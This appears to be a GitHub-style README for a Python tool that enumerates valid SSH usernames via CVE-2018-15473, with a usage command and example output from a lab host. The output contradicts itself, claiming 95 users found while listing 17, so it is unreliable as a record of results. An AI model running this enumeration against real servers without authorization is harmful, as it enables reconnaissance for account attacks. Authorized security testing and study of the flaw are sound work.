CVE-2018-15473 – SSH Username Enumeration

A Python tool developed by me to identify valid SSH usernames by exploiting CVE-2018-15473.

Target Information

Service: SSH
Version: OpenSSH 5.8p1 Debian 1ubuntu3
Operating System: Ubuntu Linux
Protocol: SSH-2.0
Assessment: Tested for CVE-2018-15473 (SSH Username Enumeration)

Language

Python 3

Features

Developed in Python 3.
Enumerates valid SSH usernames by leveraging CVE-2018-15473.
Supports custom username wordlists.
Displays discovered usernames in real time.
Provides a summary of all valid usernames at the end of the scan.
Lightweight and easy to use.

Usage

python3 enum_ssh.py usernames.txt

Where usernames.txt contains the list of usernames to test.

Example Output

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

Disclaimer

This tool is intended for educational purposes and authorized security testing only. Use it only on systems for which you have explicit permission.

CVE-2018-15473-User-Enumeration-

Most Popular